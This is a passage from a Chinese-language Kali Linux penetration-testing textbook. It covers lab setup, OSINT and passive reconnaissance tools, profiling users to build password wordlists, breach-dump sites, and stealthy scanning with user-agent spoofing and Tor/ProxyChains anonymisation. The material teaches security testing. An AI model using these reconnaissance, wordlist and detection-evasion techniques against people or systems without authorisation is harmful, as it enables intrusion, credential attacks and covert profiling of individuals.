 9.安装完成后，你将看到如图1-28所示的画面。
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 图1-28　完成Active Directory Domain Services安装向导
 
 添加用户到活动目录
 
 为了在后续章节演示提权，我们将创建一个具有域用户权限的普通用户和一个具有所有权限的域管理员用户。
 
 在域控制器运行如下命令可以创建一个域普通用户：
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 以下命令将创建一个域管理员用户，并将其加入domain admins组中：
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 为了验证用户是否创建成功，你可以在域控制的命令行运行net user命令，域用户如图1-29所示。
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 图1-29　查看域用户
 
 添加Metasploitable3Windows到域
 
 现在，我们回到安装好的Metasploitable3Windows，可以通过以下步骤将其添加到前面新创建的域中。
 
 1.通过编辑以太网适配器的属性，将域控制的IP地址添加到DNS设置中。这是为了解决FQDN，因为Metasploitable3需要查询域控制器进行域名解析。
 
 2.单击Start按钮，然后右键单击“My Computer”并选择“Properties”，滚动系统属性窗口，在“Computer name,Domain and Workgroup settings”栏中选择“Change settings”，最后点击“Change”。
 
 3.如图1-30所示，选择单选框“Domain”，然后输入域名。本例中域名为mastering.kali.thirdedition。
 
 4.系统会提示你输入用户名和密码，我们可以用刚创建的普通用户或超级管理员登录。一旦认证通过，系统就连接到了域，任何域用户都可以登录Metasploitable3。
 
 这里为我们提供了暴露在网络上的各种漏洞，包括：
 
 ·一个连接到域（mastering.kali.thirdedition）的易受攻击的Windows 2008 R2系统（Metasploitable3服务器）。
 
 ·一个托管在易受攻击的Windows 2008 R2服务器上易受攻击的Web应用（Metasploitable3）。
 
 ·一个运行Ubuntu14.04系统的易受攻击的Linux主机（Metasploitable3）。
 
 ·一个域控制器（包括一个域管理员和一个普通用户）。
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 图1-30　输入域名截图
 
 
 1.9　使用Faraday管理合作渗透测试
 
 渗透测试中最困难的方面之一，是在测试完毕后，记住测试的网络或目标系统中所有有关部分。在某些情况下，单个客户端可能会有多个渗透测试人员从多个位置执行扫描活动，此时管理层希望能有一个视图。如果所有的渗透测试人员都可以在同一网络或互联网上互相ping通，Faraday可以提供单一视图。
 
 Faraday是一个多用户渗透测试集成开发环境（Integrated Development Environment，IDE）。它是为测试人员而设计的，用于分配、索引和分析在渗透测试或技术安全审核过程中生成的所有数据，以提供不同视角的数据，如管理、执行摘要和问题列表等。
 
 这个IDE平台由InfoByte用Python开发，2.7.2版本默认安装了最新版的Kali Linux。你可以浏览Applications菜单，点击12-Reporting tools选项，然后点击Faraday IDE。如图1-31所示，这样就可以为测试者创建一个新的工作区。
 
 启动Faraday就可以打开Faraday shell平台，如图1-32所示。
 
 Faraday的一个特征是，你进行的任何扫描或组内任何其他渗透测试者的行为都可以通过点击“Faraday web”来显示信息，如图1-33所示。
 
 [image: ]Faraday社区免费版有一个局限性，即可以被人用来在一个独立环境下可视化所有的问题列表。
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 图1-31　创建新的Faraday工作区
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 图1-32　Faraday shell界面
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 图1-33　Faraday web界面
 

  1.10　小结


  在本章中，我们介绍了不同的测试方法，以及针对实时攻击进行测试的基于目标的测试的组织方法。我们介绍了渗透测试人员如何在多个不同平台上使用Kali Linux来评估数据系统和网络的安全性。我们已经在不同的虚拟化平台上安装了Kali，并且看到在Windows平台上使用Docker运行Linux操作系统的快捷。


  我们构建了自己的验证环境，搭建了活动目录域服务（Active Directory Domain Services），也在同一网络上搭建了两个不同的虚拟机，其中一个是活动目录的一部分。最重要的是，你学习了如何使用定制的Kali工具来提高收集到的数据的安全性。我们正在努力实现制作支持我们进程的工具的目标，而不是相反的方式！


  在第2章中，我们将学习如何有效利用开源情报（Open Source Intelligence，OSINT）来识别目标的易攻击面，创建特定的用户的密码列表，从暗网获取信息和实施其他利用。


  第2章　开源情报和被动侦察


  信息收集是从公开可用资源获取所有相关信息的一种方式，通常称为开源情报（Open Source Intelligence，OSINT）。通过OSINT的被动侦察，是进行渗透测试（或者攻击）网络（或者服务器）目标杀链的第一步。攻击者通常花费75%的时间对入侵目标进行侦察，在这一阶段，允许对目标进行定义、确定攻击目标的映射关系、探索其安全漏洞，以便最终进行漏洞利用。


  侦察可以分为两种类型：


  ·被动侦察（直接或间接）。


  ·主动侦察。


  被动侦察一般是指分析公开的信息，这些信息包括目标本身的信息、在线的公共资源信息。在获取这些信息时，测试者或攻击者不会与目标按不寻常的方式进行交互，他们的请求和活动不会被日志记录，也无法直接定位测试者。因此，在被动侦察中要尽可能地减少与目标的交互，与目标的交互可能会让其意识到潜在的攻击或识别到攻击者。


  在本章中，你将学习被动侦察的原则与实例，主要包括如下内容：


  ·侦察的基本原则。


  ·开源情报。


  ·线上资源和暗网搜索。


  ·用脚本自动收集OSINT数据。


  ·获取用户相关信息。


  ·分析用户以获取密码列表。


  ·用社交媒体提取词汇。


  主动侦察则与目标直接交互，将在第3章中介绍。


  2.1　侦察的基本原则


  在进行渗透测试或攻击数据目标时，侦察是杀链的第一步。这是在实际测试或攻击目标网络之前进行的。侦察的结果会给出需要额外侦察的方向或者指出在漏洞利用阶段要攻击的漏洞。侦察活动是与目标网络或设备交互过程的一部分。


  被动侦察并不与目标网络产生直接的恶意交互。攻击者的源IP地址和活动不会被日志记录（例如，一个针对目标邮件地址的Google搜索）。在正常的商业活动中目标要想区分出哪些活动是被动侦察是困难的，或者说是不可能的。


  被动侦察可进一步分为直接和间接两类。当攻击者以一种可预期的方式与目标交互时，直接被动侦察可以看作是与目标的正常交互。例如，攻击者登录公司网站、浏览不同的网页、下载用于进一步研究的文档。这些交互活动属于可预期的用户活动，很少被看作是攻击目标的前奏。间接被动侦察则绝对没有与目标系统的交互。


  主动侦察涉及直接查询或其他交互活动（例如，目标网络的端口扫描）。这些活动会触发系统警报，被攻击的目标也能获取攻击者的IP地址和活动信息。在法律诉讼中，这些信息能够用来确认攻击者的身份，或抓捕攻击者。因此，测试者在主动侦察中需要额外的技术手段来确保不被发现，第3章将详细介绍主动侦察与漏洞扫描。


  渗透测试人员或者攻击者一般会遵循一个结构化的信息收集过程——从广泛的信息（商业信息、监管环境信息）收集，到特定具体的信息（用户账户数据）收集。


  为了提高效率，测试人员需要准确地知道他们需要找寻的信息，以及在开始收集信息前就知道这些数据怎么使用。利用被动侦察和限制收集数据的数量，能最大限度地降低被发现的风险。


  2.1.1　开源情报


  一般来说，渗透测试或进行攻击的第一步是开源情报收集。OSINT指的是从公共的资源，特别是互联网上，进行信息收集。可用的信息是相当多的——大多数的情报机构和军事组织正积极地在OSINT中收集目标信息，并防止自身数据泄露。


  OSINT可以分为两种类型：进攻和防守。进攻型需要分析对目标进行攻击所需的所有数据，而防御型只是收集以前的违规数据和与目标相关的其他安全事件的技术。图2-1给出了OSINT的基本思维导图。

 
 2.1.2　进攻型OSINT
 
 需要收集的目标信息依赖于渗透测试的初始目标。例如，如果测试者想访问个人医疗记录，他们需要相关方（第三方保险公司、保健服务提供者、信息运维主管、商业供应商等）的姓名和履历资料，还有他们的用户名和密码。如果攻击路线包括社交工程学，他们可能会将这个信息详细补充上，以提供请求信息的真实性。
 
 ·域名（Domain name）：在外部场景中识别攻击者或渗透测试人员的目标是通过域名开始的，域名是OSINT中最关键的元素。
 
 ·DNS侦察和路由映射（DNS reconnaissance and route mapping）：一旦测试人员确定其感兴趣的目标在线，下一步就是识别目标的IP地址和路由。DNS侦察关心的是：识别谁拥有一个特定域或一系列IP地址（whois-类别信息尽管在通用数据保护条例（GDPR）公布之后改变了很多。），定义实际域名的DNS信息和标识目标的IP地址，以及在渗透测试人员或攻击者与最终目标之间的路由。
 
  
  [image: ] 
 
 
 图2-1　OSINT的思维导图
 
 搜集这些信息是半主动的，一些信息是免费开源的，而另一些信息来自第三方实体，例如DNS注册机构。虽然注册机构可能会收集IP地址和关于攻击者的请求的数据，但很少提供终端目标的信息。可以由目标直接检测到的信息是从不用来评估或者保留的，如DNS服务器日志。因为需要的信息可以用一个确定的系统级、有条理的方法查询到，所以也可以自动收集信息。
 
 在以下几节中，我们将讨论如何使用Kali Linux中的简单工具来枚举所有域名。
 
 
 2.1.3　利用Sublist3r收集域资料
 
 Sublist3r是一个基于Python的工具，可用于域捕获，即利用OSINT枚举主域名的所有子域名。该工具可以利用多种搜索引擎的API，如Google、Bing、Baidu和ASK，也可以在NetCraft、Virustotal、ThreatCrowd、DNSdumpster和reverseDNS中搜索，还可以利用特定词库实施暴力破解。
 
 Sublist3r可以直接从GitHub下载，也可以在Kali终端中运行git clone https://github.com/aboul3la/Sublist3r/来获取。
 
 如图2-2所示，下载并完成安装后，你就可以运行该工具来捕获目标的所有子域名。
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 图2-2　Sublist3r捕获子域名
 
 
 2.1.4　Maltego
 
 就个人和组织的侦察而言，Maltego是OSINT框架中最强大的之一。这是一种GUI工具集，可以通过各种方法收集个人在互联网上公开的信息。它还能够枚举域名系统（DNS），暴力破解普通DNS，并以易于阅读的格式收集来自社交媒体的数据。
 
 如何在基于目标的渗透测试或红队练习中使用Maltego M4呢？我们可以利用此工具开发数据可视化软件，用于处理我们收集的数据。社区版会随着Kali Linux发行。访问该应用程序的最简单方法是在终端中输入maltegoce。在Maltego中，这类任务被称为变换（transform）。变换内置在工具中，被定义为执行特定任务的代码脚本。Maltego还提供多种插件，如SensePost工具集、Shodan、VirusTotal、ThreatMiner等。
 
 利用Maltego进行信息收集的步骤如下：
 
 1.为了访问Maltego，你需要在Paterva创建一个账户。可以通过访问https://www.paterva.com/web7/community/community.php创建一个账户。创建账户并且成功登录Maltego应用程序后，你应该可以看到如图2-3所示的屏幕截图。
 
 2.点击Maltego CE（Free）后，你应该就准备好所有的设置了。然后，我们就可以使用社区变换（transform）了，但仅限12个。
 
 Maltego客户端的变换中心（Transform Hub）使用户能够轻松地安装来自不同数据来源的变换。变换中心包括商业变换（收费的）和社区变换（免费的）。
 
 3.下一步是用你的账户登录Maltego，安装成功后，你将看到如图2-4所示的界面。
 
 4.现在单击Finish，就可以使用Maltego并运行Machine了。找到Menu文件夹下的Machines，并单击Run Machine，然后你就可以启动一个Maltego引擎的实例了。
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 图2-3　Maltego产品选择界面
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 图2-4　Maltego登录界面
 
 图2-5显示了Maltego公共服务器提供的所有可选项。
 
 通常，当选择Maltego公共服务器时，我们将选择以下服务：
 
 ·Company Stalker（公司跟踪）：用于获取域中的所有电子邮件地址，然后查看哪一个与社交网络有关联。它还下载并提取互联网上已发布文档的元数据。
 
 ·Find Wikipedia edits（查找维基百科编辑）：该选项将在维基百科编辑和所有社交媒体平台联合搜索。
 
  
  [image: ] 
 
 
 图2-5　Maltego公共服务器提供的选项
 
 ·Footprints L1（足印L1）：执行域的基本足印。
 
 ·Fortprint L2（足印L2）：执行域的中等级别足印。
 
 ·Fortprint L3（足印L3）：这需要深入一个域，因为它占用了所有的资源，通常应小心使用。
 
 ·Fortprint XML（足印XML）：这适用于大型目标，例如托管自己的数据中心的公司，并尝试通过查看发送方策略框架（Sender Policy Framework，SPF）记录来获得网络块，以及将委派的DNS委托给其名称服务器。
 
 ·Person–Email Address（私人–电子邮件地址）：用于获取某人的电子邮件地址，并查看互联网上使用的位置。输入的不是一个域，而是一个完整的电子邮件地址。
 
 ·Prune Leaf entries（修剪条目）：提供删除网络的特定部分的选项，以帮助过滤信息。
 
 ·Twitter digger X（Twitter挖掘机X）：这是Twitter推文分析器别名。
 
 ·Twitter digger Y（Twitter挖掘机Y）：这涉及Twitter的关联，在其中发现、提取和分析推文。
 
 ·Twitter Monitor（Twitter监视器）：这可以用于执行操作来监视Twitter的主题标签（hashtag），以及围绕某个短语提到的实体。输入是短语。
 
 ·URL to Network and Domain Information（网络和域信息的URL）：这使用URL来标识域的详细信息，例如，如果你提供www.cyberhia.com，它会识别出www.cyberhia.co.uk,cyberhia.co.in等。
 
 攻击者从Footprint L1开始，基本的任务是了解域、潜在可用的子域名和相关IP地址。以采集部分信息开始是非常好的。然而，攻击者也可以使用前面提到的其他机器来实现目标。选择机器后，单击Next并指定一个域，例如cyberhia.com。图2-6提供了cyberhia.com目录。
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 图2-6　cyberhia.com目录
 
 
 2.1.5　OSRFramework
 
 OSRFramework是一种由i3visio设计的通过Web接口实施开源威胁情报收集的工具，其控制台为OSRFConsole。OSRFramework可以通过运行pip install osrframework命令直接安装。
 
 OSRFramework提供了关于关键字的多源威胁情报，并且其既可以单独使用，也可以接入Maltego使用。OSRFramework可为渗透测试者提供三个模块，以进行外部威胁情报的数据收集。
 
 ·usufy:在多个搜索引擎中搜索，识别URL中的关键字，以及自动枚举并以.csv的格式存储所有结果。图2-7显示了usufy搜索关键字cyberhia的输出结果：
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 图2-7　usufy搜索结果
 
 ·searchfy:在Facebook、GitHub、Instagram、Twitter和YouTube中搜索关键字。用searchfy搜索关键字cyberhia的命令如下：
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 ·mailfy:识别关键字并自动在关键字后添加电子邮件域名，然后自动以API调用的形式在haveibeenpawned.com中搜索：
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 2.1.6　Web archives
 
 网页虽然在互联网中删除，但在Google中不一定删除了。被Google访问过的页面都被备份为快照存放在Google缓存中。通常情况下，你可以根据你的搜索查询来查看Google是否可以为你提供最佳的可用页面。这同样可以用来收集关于目标的信息，例如，被采集的数据库的详细信息被发布在了sampledatadumpwebsite.com上，但该网站或该链接已经从互联网上消失了。如果Google访问过该页面，则此信息会为攻击者提供大量信息，例如用户名、哈希密码、正在使用的后端类型以及其他相关的技术和策略信息。以下链接是收集过去数据的第一级：https://web.archive.org/web/。
 
 图2-8是cyberhia.com网站2017年3月24日在WayBack Machine保存的快照。
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 图2-8　cyberhia.com快照
 
 我们将在2.2节中深入探讨Google隐藏面的内容。
 

  2.1.7　抓取


  攻击者利用从网站提取的大量数据集，进而将提取的数据存储到本地文件系统中，这种技术称为抓取或网页抓取。在下面的章节中，我们将使用Kali Linux中最常用的一些工具来完成数据抓取。

 
 2.1.8　收集用户名和电子邮件地址
 
 theHarvester工具是一个Python脚本，可以借助流行的搜索引擎和其他一些站点来搜索电子邮件地址、主机以及子域站点等。
 
 使用theHarvester工具是相当简单的，只需通过几个命令参数来进行设置。可用的选项如下：
 
 ·-d：用来确定搜索的域，通常是当前域或者目标网站。
 
 ·-b：用来确定提取信息的来源，来源必须是下面的一种：Bing、BingAPI、Google、Google-Profiles、Jigsaw、LinkedIn、People123、PGP或者All。
 
 ·-l：该选项使theHarvester只收集特定数目的返回搜索结果的数据。
 
 ·-f：用来保存最后结果，保存为HTML文件或者XML文件。如果省略该选项，结果将会显示在屏幕上，但是不会被保存。
 
 图2-9显示了对packtpub.com域的一个简单的theHarvester数据提取。
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 图2-9　theHarvester搜索结果
 
 
 2.1.9　获取用户信息
 
 许多渗透测试人员会收集用户名和电子邮件地址，因为这些信息经常用于登录目标系统。
 
 最常用的工具是网页浏览器，用来手动搜索目标组织的网站，也包括第三方站点，例如LinkedIn或其他社交网络。
 
 Kali包含的一些自动工具可以支持手动搜索。
 
 [image: ]前雇员的电子邮件地址可能仍然可以使用。在实行社会工程学攻击时，对一个前雇员的直接信息请求，通常会导致一个对攻击者的重定向，让攻击者“可信”，并可能被当作前雇员对待。此外，许多机构不能正确地终止员工账号，这些证书有可能仍会拥有访问目标系统的权限。
 
 
 2.1.10　Shodan和censys.io
 
 去哪才能找到大量的脆弱主机呢？攻击者通常会利用现有的漏洞来轻松获取系统的访问权限，所以最简单的方法之一是在Shodan中进行搜索。Shodan是最重要的搜索引擎之一，可让互联网上的任何人使用各种过滤器查找连接到互联网的设备。可以通过链接https://www.shodan.io/访问Shodan。这是全球最著名的搜索信息可选的网站之一。如果搜索到公司的名称，它将提供其数据库中具有的任何相关信息，例如，IP地址、端口号和正在运行的服务。
 
 如图2-10所示，shodan.io网站显示了运行IIS5.0的主机，这就使攻击者缩小了攻击目标的范围，为下一步的攻击行为做好准备，相关知识我们将在后续章节学习。
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 图2-10　Shodan关于IIS5.0的结果
 
 类似于Shodan，现在，我们也可以利用scans.io API做相关信息采集，或censys.io获取IPv4主机、网站认证的更多信息，以及其他存储的信息。图2-11提供了packtpub.com的相关信息。
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 图2-11　censys收集的packtpub.com信息
 
 
 2.2　Google黑客数据库
 
 最近，Google成了人们更新数据的方式。“Google一下”成为搜索任何未知东西或收集相关主题信息的常用词汇。在本节中，我们将详细介绍渗透测试人员如何通过dork（呆子）来利用Google。
 
 [image: ]什么是dork？
 
 dork通常指一个人不善社交或者社交困难，又或者不关心现实中的任何事。
 
 
 2.2.1　使用dork脚本来查询Google
 
 了解Google Hacking数据库的第一步是了解所有典型的Google运算符，就像机器级编程工程师必须了解计算机操作代码一样。这些Google运算符是Google查询的一部分，搜索的语法如下：
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 Operator、冒号和itemthatyouwanttosearch之间没有空格。表2-1列出了所有典型的Google运算符。
 
 表2-1　Google运算符
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 图2-12显示了一个简单的Google dork在日志文件中搜索用户名。
 
 dork搜索是inurl:"/jira/login.jsp"intitle:"JIRA login"。
 
 更具体的运算符，我们可以参考Google的指南：http://www.googleguide.com/advanced_operators_reference.html，还可以通过exploit-db利用Google黑客数据库，该数据库由安全研究社区不断更新，可在https://www.exploit-db.com/google-hacking-database/获得。
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 图2-12　Google dork搜索用户名
 
 
 2.2.2　Data dump网站
 
 当今世界，通过现场应用（the on-spot app），如pastebin.com，任何信息都可以在互联网上快速高效地分享。然而，这也是开发人员存储应用程序的源代码、加密密钥和其他机密信息并且无人看护的主要问题之一。这种在线信息为攻击者提供了丰富的信息列表，攻击者可以制定更集中的攻击。
 
 归档论坛还会显示特定网站的日志，或者以前曾被黑客入侵的黑客攻击事件。Pastebin提供此类信息。图2-13显示了一个目标的机密信息列表。
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 图2-13　Pastebin提供的机密信息
 
 
 2.2.3　使用脚本自动收集OSINT数据
 
 在信息安全研究领域，总是会考虑如何节省收集相关信息的时间，从而把更多的时间用于关注脆弱性研究和开发。在本节中，我们将更多地关注如何自动化OSINT，使被动侦察更高效。
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 前一脚本加上一行循环脚本可在多个域运行，命令如下：
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 前面是一个非常简单的自动化脚本，利用一些Kali中的命令行工具，输出存储在多个文件中，没有数据库。然而，攻击者可以利用类似的脚本来自动化大多数命令行工具，以获取大部分信息。
 
 
 2.2.4　防守型OSINT
 
 防守型OSINT通常可以用于查看已经被掌控的内容，并且看看这些信息在渗透测试活动期间是否有价值。如果渗透测试的目标是演示真实世界的场景，那么根据这些数据可以很方便地初步识别已经掌控的类似目标。大多数组织只修复受影响的平台或主机，很多时候他们忘记了其他类似的环境。防守型OSINT大致在三个地方搜索。
 
 1.暗网
 
 暗网（Dark Web）是Tor服务器及其客户端之间存在的加密网络，而深网（Deep Web）仅仅提供数据库和一些Web服务内容，由于种种原因，常规搜索引擎（例如Google）无法对其进行搜索。比如，出于各种理由，用户可以在暗网上购买过期或者禁止销售的药品。某些网站（例如deepdotweb.com）提供了一些隐藏的深网链接。这些链接只能通过Tor浏览器访问。
 
 2.安全漏洞
 
 安全漏洞是指通过绕过底层安全机制，未经授权访问数据、应用程序、服务、网络或设备的任何事件。
 
 黑客常访问的网站https://databases.today和https://haveibeenpwned.com就收集了大量漏洞资料。图2-14是https://databases.today网站的截图。
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 图2-14　https://databases.today网站
 
 为获取目标的更多信息，测试者往往需要访问zone-h.com这类网站以获取目标的漏洞信息。例如，sidehustlewarrior.com网站就被名为孟加拉灰帽的黑客（一个地下黑客组织）篡改。图2-15显示了攻击中用到的IP地址、Web服务器和操作系统等详细信息。
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 图2-15　zone-h.com提供的信息
 
 3.威胁情报
 
 威胁情报是关于威胁一个组织的潜在的或当前的攻击的控制、计算以及提炼信息。这种情报的主要目的是确保组织意识到当前的风险，如高级持久性威胁（Advanced Persistent Threat，APT）、零日漏洞（zero day exploit），以及其他严重的外部威胁。例如，如果信用卡的信息在公司A通过APT被偷盗，公司B将会就该威胁情报得到警告，并相应提升安全级别。
 
 然而，由于缺乏对信息来源的信任、对于威胁的概率认识，组织有可能需要花费很长时间才能做出可行的决定。在上述示例中，B公司可能有2 000家商店需要整顿或停止所有交易。
 
 这些信息可能被攻击者利用以攻击网络。然而，这种信息被认为是被动侦察活动，因为到目前为止，还没有对目标发起直接攻击。
 
 渗透测试或攻击者总是会订阅这类开源威胁情报的框架，如STIX、TAXII或者利用妥协指标（Indicators of Compromise，IOC）的GOSINT框架。
 
 
 2.2.5　分析用户以获取密码列表
 
 到目前为止，你已经学会了使用被动侦察来收集目标机构的用户名和个人信息，攻击者也可以做到这些。下一步就是使用这些信息来创建用户和目标的密码列表。
 
 在Kali系统中的/usr/share/wordlists目录中存储有常用的密码列表，网上也可以下载。这些列表反映了很多用户的爱好，在转换到队列的下一个密码之前，应用程序尝试每一个可能的密码可能会非常耗时。
 
 幸运的是，通用用户密码分析器（Common User Password Profiler，CUPP）可以让测试员针对特定的用户生成其对应的特殊单词列表（wordlist）文件。CUPP在Backtrack5r3被提出。然而在Kali中必须下载后才可使用。要获取CUPP，可输入以下命令：
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 这会把CUPP下载到本地目录中。
 
 CUPP是一个Python脚本，通过以下命令，可以在CUPP目录中方便地调用：
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 这会以交互的方式启动CUPP，这种交互方式可以提示用户利用指定的信息元素来创建wordlist文件，如图2-16所示。
 
 在交互模式下创建完wordlist后，会放在CUPP目录下。
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 图2-16　使用CUPP创建wordlist
 

  2.3　创建自定义单词列表来破解密码


  在Kali Linux中可以使用多种工具来创建自定义的单词列表，用于离线破解密码。我们先看几种典型的工具。

 
 2.3.1　使用CeWL来映射网站
 
 CeWL是一个Ruby应用程序，给定URL指定的深度，下面的外部链接是可选的，返回一个可以用于密码破解的单词列表，如John the Ripper。
 
 图2-17提供了来源于cyberhia.com索引页的自定义单词列表。
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 图2-17　自定义单词列表
 
 
 2.3.2　使用twofi从Twitter提取单词
 
 当我们可以用Facebook、Twitter、LinkedIn等社交平台来描述一个人时，可以使用twofi（Twitter words of instest）。twofi是用Ruby脚本实现的，利用Twitter API来生成离线破解密码的单词列表。
 
 为了使用twofi，我们必须有一个有效的Twitter API密钥和API密码。图2-18显示了如何在被动侦察期间利用twofi形成自定义的密码单词列表。在下面的示例中，我们运行twofi–m 6-u@PacktPub>filename，生成@PacktPubTwitter句柄所发布的自定义单词列表。在针对个体的攻击中，twofi将会更加强大。
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 图2-18　twofi的使用
 

  2.4　小结


  在攻击过程或者杀链中，真正的第一步是利用OSINT进行信息收集或探测来确定攻击目标的正确信息。被动侦察从攻击者角度提供了一个公司的实时信息。这应该是一个秘密进行的过程，即攻击者的IP地址或活动通常与正常访问几乎无法区分。这些信息对社会工程学攻击或简化其他攻击都十分有用。现在，我们已经学习了利用定制的脚本来节省时间，并且利用进攻型和防御型OSINT来实施被动侦察。


  第3章我们将学习主动状态的各种侦察技术，以及如何使用利用OSINT收集到的信息。虽然主动侦察技术会带来更多信息，但也增加了被检测的风险。因此，重点是高级的隐秘技术。

 
 第3章　外网与内网的主动侦察
 
 主动侦察阶段是为了尽可能多地收集与目标有关的信息，以帮助杀链的攻击实施。
 
 在第2章中，我们已经了解了如何使用OSINT完成几乎检测不到的被动侦察，这种侦察可以获取大量关于目标组织及其用户的信息。
 
 主动侦察是建立在OSINT和被动侦察的成果之上，并侧重于使用探测来确定到达目标的路径，暴露目标的攻击面（attack surface）。在一般情况下，复杂的系统有更大的攻击面，并且每个面都可被利用和再利用，以支持其他的攻击。
 
 虽然主动侦察会产生更多更有用的信息，但是，由于与目标系统的交互可能会被记录，并且可能会通过防火墙、入侵检测系统（IDS）、入侵阻止系统（IPS）等防护设施触发报警。当对攻击者有用的数据增加时，被检测到的风险同样增加，如图3-1所示。
 
 为了提高提供详细的主动侦察信息的有效性，我们的重点将是使用隐形的、不易察觉的技术。
 
 在本章中，你将学习：
 
 ·秘密扫描策略。
 
 ·外部和内部设施、主机发现和枚举。
 
 ·应用程序的综合侦察，特别是recon-ng。
 
 ·使用DHCP枚举内部主机。
 
 ·渗透测试时有用的Microsoft Windows命令。
 
 ·利用默认配置的优势。
 
 ·利用SNMP、SMB和rpcclient枚举用户。
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 图3-1　威胁情报与风险关系图
 

  3.1　秘密扫描策略


  被目标发现是主动侦察的最大风险。使用测试人员的时间、数据戳、源IP地址及其他附加信息，目标可能识别出侵入侦察的来源。因此，采用隐形技术，可以将被发现的概率降到最低。


  当采用隐形技术侦察时，测试人员模拟黑客的行动需要做到以下几点：


  ·伪装工具签名来逃避检测和触发警报。


  ·将攻击隐藏于合法流量中。


  ·修改攻击，隐藏其流量的来源和类型。


  ·使用非标准的流量类型或加密来使攻击隐形。


  秘密扫描技术包括以下几个方面的全部或部分：


  ·调整源IP栈和工具识别设置。


  ·修改数据包参数（nmap）。


  ·使用匿名网络代理（ProxyChains和Tor网络）。

 
 3.1.1　调整源IP栈和工具识别设置
 
 在渗透测试人员（或攻击人员）开始测试之前，必须保证禁用或关闭所有Kali不必要的服务。
 
 例如，如果正在运行的不是必需的本地DHCP守护进程，那么DHCP可能与目标系统交互，这种交互可能会被记录，并且发送警报到目标的管理员。
 
 一些商业和开源工具（例如Metasploit框架）用一个标识序列标记它们的数据包。虽然这可能对测试后分析系统的事件日志很有用（由一个特定的测试工具发起的事件可以直接与系统的事件日志进行比较，用于确定网络侦测情况并响应攻击），但是它也可能触发某些入侵检测系统。测试你的工具，用它来攻击一个实验系统，确定被标记的数据包，并且要么改变标签，要么小心使用工具。
 
 识别标签最简单的方法是，使用工具在虚拟目标系统上创建新的应用，然后查看系统日志中与工具名称相关的记录。此外，使用Wireshark捕获攻击者和目标虚拟机之间的信息流，然后搜索抓包（packet capture，pcap）文件，寻找由测试工具产生的那些关键字（工具的名称、供应商、证书序列号等），也是一种有效的方法。
 
 Metasploit框架中的用户代理（useragent）可以通过修改http_form_field选项改变。在msfconsole提示下，选择使用auxiliary/fuzzers/http/http_form_field选项，然后设置一个新的useragent头，如图3-2所示。
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 图3-2　设置新用户代理
 
 在本示例中，useragent被设定为Google的索引爬虫——Googlebot-Image。这是一种常用的自动化应用程序，用于访问和索引网站，很少引起网站所有者的注意。
 
 [image: ]识别合法的useragent头，请参考示例：http://www.useragentstring.com。
 
 
 3.1.2　修改数据包参数
 
 主动侦察最常用的方法是对目标发动扫描——发送定义的数据包到目标，然后利用返回的数据包来获取信息。这种类型最常用的工具是网络映射器（Network Mapper，nmap）。
 
 为了有效使用nmap，必须拥有root级别的权限。这是典型的操作数据包的应用程序，也是Kali默认以root级别启动的原因。
 
 当试图减少检测时，用一些秘密技术来避免检测及随后的报警，包括以下内容：
 
 ·测试之前确定扫描的目标，发送需要确定目标的最小数量的数据包。例如，如果你想确认一个Web主机的存在，首先需要确定80端口——这个基于Web服务的默认端口是开放的。
 
 ·避免可能与目标系统连接的扫描，避免可能泄露数据的扫描。不要ping目标，或使用同步（SYN）和非常规数据包扫描，如确认（ACK）、完成（FIN）和复位（RST）数据包。
 
 ·随机化或掩饰包设置，如源IP和端口地址，以及MAC地址。
 
 ·调节定时以减缓目标站点包的到来。
 
 ·通过包的分解或附加随机数据来改变数据包大小，以此混淆设备对数据包的检测。
 
 例如，如果你想进行一次秘密扫描并且最小化被检测到的可能，可以使用以下nmap命令：
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 表3-1详细阐述了上述的命令。
 
 表3-1　namp命令参数简表
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 总之，这些选项将创建一个非常缓慢的扫描，隐藏扫描源的真实身份。然而，如果数据包太不常用、修改太多，也可能引起目标的注意。因此，许多测试者和攻击者利用匿名网络，尽量最小化被检测到的可能。
 
 
 3.1.3　使用匿名网络代理
 
 在本节中，我们将探讨攻击者在网络上保持匿名性所使用的两个重要工具——Tor和Privoxy。
 
 Tor（www.torproject.org）是第三代洋葱路由开源软件，提供免费接入的匿名网络代理。洋葱路由加密用户流量使网络匿名，然后通过一系列的洋葱路由器发送匿名流量。在每个路由器上，删除一层加密，得到路由信息，然后再将该消息发送到下一个节点。它被比喻为逐步剥洋葱，故以此命名。它通过保护用户的IP流的源地址和目的地址，抵御流量分析的攻击。
 
 在这个例子中，Tor会与Privoxy一起使用，这是一个非高速缓存的Web代理，位于与互联网通信的应用程序的中间，利用先进的过滤技术，保护用户隐私、移除广告，并将潜在的恶意数据发送给测试者。
 
 要安装Tor，请执行下列步骤：
 
 1.首先执行apt-get update和apt-get upgrade命令，然后运行下面的命令：
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 2.一旦安装了Tor，编辑位于/etc目录下的proxychains.conf文件。该文件规定了测试系统在使用Tor网络系统时使用代理服务器的数量和顺序。代理服务器可能停止工作，或者可能遇到重负载（导致缓慢或潜连接）。如果发生这种情况，一个清晰的或严密的ProxyChain将失效，因为预期链路丢失。因此，禁用strict_chain，并且启用dynamic_chain，这就保证了连接将被路由，如图3-3所示。
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 图3-3　编辑proxychains.conf文件
 
 3.接下来，编辑[ProxyList]部分，以确保socks5代理存在，如图3-4所示。
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 图3-4　编辑[ProxyList]
 
 在网上很容易找到开放代理，并添加到proxychains.conf文件中。测试人员可以利用这一优势，进一步模糊自己的身份。例如，如果有报道说某一个国家或地区的IP地址一直受到网络攻击，寻找当地的开放代理，并将它们添加到你的列表，或单独配置一个文件。
 
 4.从终端窗口启动Tor服务，请输入以下命令：
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 5.使用下面的命令验证Tor已经启动：
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 验证Tor网络正在工作并提供匿名连接是很重要的。
 
 6.确认你的源IP地址，从终端输入以下命令：
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 这将启动Iceweasel浏览器并打开一个网站，提供与网页连接的源IP地址。
 
 7.注意IP地址，然后，使用以下的proxychains命令调用Tor路由：
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 在此特定实例中，IP地址被确定为xx.xx.xxx.xx。从终端窗口查询的IP地址表明，某个传播正在从Tor出口节点退出，如图3-5所示。
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 图3-5　查询节点的截图
 
 [image: ]通过访问https://check.torproject.org，你也可以验证Tor的功能是否正常。
 
 虽然通信现在已经通过使用Tor网络得到保护，但当你的系统使DNS请求提供你的身份到ISP时，DNS可能发生泄漏。你可以检查DNS泄漏，地址为：www.dnsleaktest.com。
 
 大多数命令行可以在使用proxychains访问Tor网络的控制台上运行。
 
 在使用Tor时，要牢记如下注意事项：
 
 ·Tor提供匿名服务，但它不能保证隐私。出口节点的所有者能够发觉流量，也有可能会访问用户的凭据。
 
 ·在Tor浏览器套件中的漏洞，据称被执法部门用于探测系统并获取用户信息。
 
 ·ProxyChains不处理UDP流量。
 
